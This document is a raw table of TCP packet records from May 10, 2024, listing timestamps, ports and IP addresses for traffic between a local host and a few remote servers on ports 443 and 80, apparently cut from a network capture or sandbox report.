May 10, 2024 09:20:57.065850019 CEST	443	49756	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.065973997 CEST	49756	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.066167116 CEST	49757	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.066215038 CEST	443	49757	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.066276073 CEST	49757	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.066329956 CEST	49758	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.066370964 CEST	443	49758	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.066477060 CEST	49758	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.066554070 CEST	49759	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.066587925 CEST	443	49759	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.066706896 CEST	49760	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.066714048 CEST	443	49760	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.066742897 CEST	49759	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.066777945 CEST	49760	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.066901922 CEST	49761	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.066910028 CEST	443	49761	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.067166090 CEST	49761	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.067171097 CEST	49756	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.067190886 CEST	443	49756	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.067338943 CEST	49757	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.067353010 CEST	443	49757	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.067475080 CEST	49758	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.067487955 CEST	443	49758	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.067605972 CEST	49760	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.067610979 CEST	443	49760	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.067780972 CEST	49759	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.067795992 CEST	443	49759	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.068020105 CEST	49761	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:57.068034887 CEST	443	49761	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.113480091 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.113712072 CEST	49755	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.113734007 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.114243031 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.114578009 CEST	49755	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.114645958 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.114717960 CEST	49755	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.146270037 CEST	443	49749	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.146356106 CEST	443	49749	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.146469116 CEST	49749	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.147222996 CEST	49749	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.147239923 CEST	443	49749	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.147623062 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.147648096 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.147707939 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.148346901 CEST	49763	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.148360014 CEST	443	49763	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.148814917 CEST	443	49750	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.148876905 CEST	443	49750	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.148941994 CEST	49750	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.150876045 CEST	443	49751	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.150933981 CEST	443	49751	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.150974035 CEST	49751	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.151926041 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.151976109 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.152000904 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.152024031 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.152046919 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.152064085 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.152077913 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.152194023 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.152215004 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.152235985 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.152241945 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.152277946 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.152283907 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.152443886 CEST	49750	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.152452946 CEST	443	49750	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.152740955 CEST	49764	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.152769089 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.152825117 CEST	49764	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.152889013 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.152915955 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.152937889 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.152939081 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.152947903 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.152983904 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.153268099 CEST	49751	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.153275967 CEST	443	49751	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.153548002 CEST	49765	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.153568983 CEST	443	49765	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.153692961 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.153716087 CEST	49765	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.153733015 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.153738022 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.153745890 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.153779984 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.153791904 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.153799057 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.153899908 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.154191017 CEST	49764	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.154206038 CEST	443	49764	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.154386997 CEST	49765	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.154397964 CEST	443	49765	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.154534101 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.154572010 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.154596090 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.154643059 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.154652119 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.154684067 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.154926062 CEST	49755	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.154932022 CEST	443	49755	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.155283928 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.155323029 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.155345917 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.155383110 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.155385017 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.155392885 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.155422926 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.156230927 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.156259060 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.156275988 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.156286955 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.156335115 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.156342030 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159368038 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159396887 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159419060 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159421921 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.159432888 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159456015 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.159468889 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159501076 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159526110 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159537077 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.159543037 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159559965 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.159576893 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159612894 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159622908 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.159627914 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159646034 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.159662962 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.159667015 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159708977 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159735918 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159764051 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159769058 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.159778118 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159811020 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159826994 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.159832001 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.159846067 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.160242081 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.160267115 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.160303116 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.160317898 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.160415888 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.160742998 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.160789013 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.160815001 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.160840988 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.160851955 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.160856962 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.160887957 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.161693096 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.161720037 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.161751986 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.161752939 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.161761999 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.161798954 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.161890030 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.161957026 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.161962032 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.162703037 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.162734985 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.162750006 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.162764072 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.162843943 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.162851095 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.162874937 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.162933111 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.162939072 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.163475990 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.163499117 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.163526058 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.163527012 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.163535118 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.163572073 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.163578987 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.163631916 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.164417982 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.164472103 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.164503098 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.164534092 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.164556980 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.164556980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.164563894 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.164570093 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.164588928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.164594889 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.164607048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.164619923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.164633036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.164642096 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.164657116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.164680004 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.164720058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.164733887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.164750099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.164757967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.164777994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.165311098 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.165451050 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.165476084 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.165499926 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.165505886 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.165729046 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.165739059 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.166073084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.166085958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.166098118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.166110992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.166151047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.166165113 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.166323900 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.166378975 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.166384935 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.166436911 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.167818069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.167835951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.167849064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.167864084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.167911053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.170788050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.170799971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.170811892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.170825005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.170850992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.170881987 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.261363983 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.261434078 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.261621952 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.261672974 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.262339115 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.262381077 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.263237000 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.263272047 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.263283968 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.263293028 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.263310909 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.263991117 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.264043093 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.264051914 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.264695883 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.264755964 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.264766932 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.264857054 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.265676022 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.265712976 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.265723944 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.265738010 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.265764952 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.265777111 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.268857956 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.268901110 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.269160986 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.269248962 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.269408941 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.269434929 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.269458055 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.269467115 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.269481897 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.269718885 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.269758940 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.269773960 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.269781113 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.269810915 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.270100117 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.270148039 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.270154953 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.270190954 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.270951986 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.270977020 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.271003008 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.271013975 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.271033049 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.271045923 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.271184921 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.271218061 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.271234035 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.271239996 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.271274090 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.271753073 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.271787882 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.271795988 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.271804094 CEST	443	49752	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.271821976 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.271833897 CEST	49752	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.272192955 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.272218943 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.272239923 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.272247076 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.272273064 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.272762060 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.272797108 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.272809982 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.272866964 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.273511887 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.273561954 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.273932934 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.273993969 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.274804115 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.274831057 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.274857044 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.274863005 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.274883986 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.274921894 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.275787115 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.275813103 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.275851011 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.275856018 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.275892019 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.275916100 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.276519060 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.276551008 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.276580095 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.276585102 CEST	443	49753	172.66.43.171	192.168.2.4
May 10, 2024 09:20:57.276596069 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.276648045 CEST	49753	443	192.168.2.4	172.66.43.171
May 10, 2024 09:20:57.295953989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.295968056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.295979977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.295991898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.296004057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.296016932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.296020985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.296058893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.296058893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.296081066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.296093941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.296127081 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.297256947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.297270060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.297281981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.297293901 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.297339916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.298551083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.298563004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.298573971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.298584938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.298609972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.298638105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.298892975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.298906088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.298918009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:57.298966885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:57.299041986 CEST	443	49757	172.66.40.85	192.168.2.4
May 10, 2024 09:20:57.299048901 CEST	80	49754	34.68.151.162	192.168.2.4
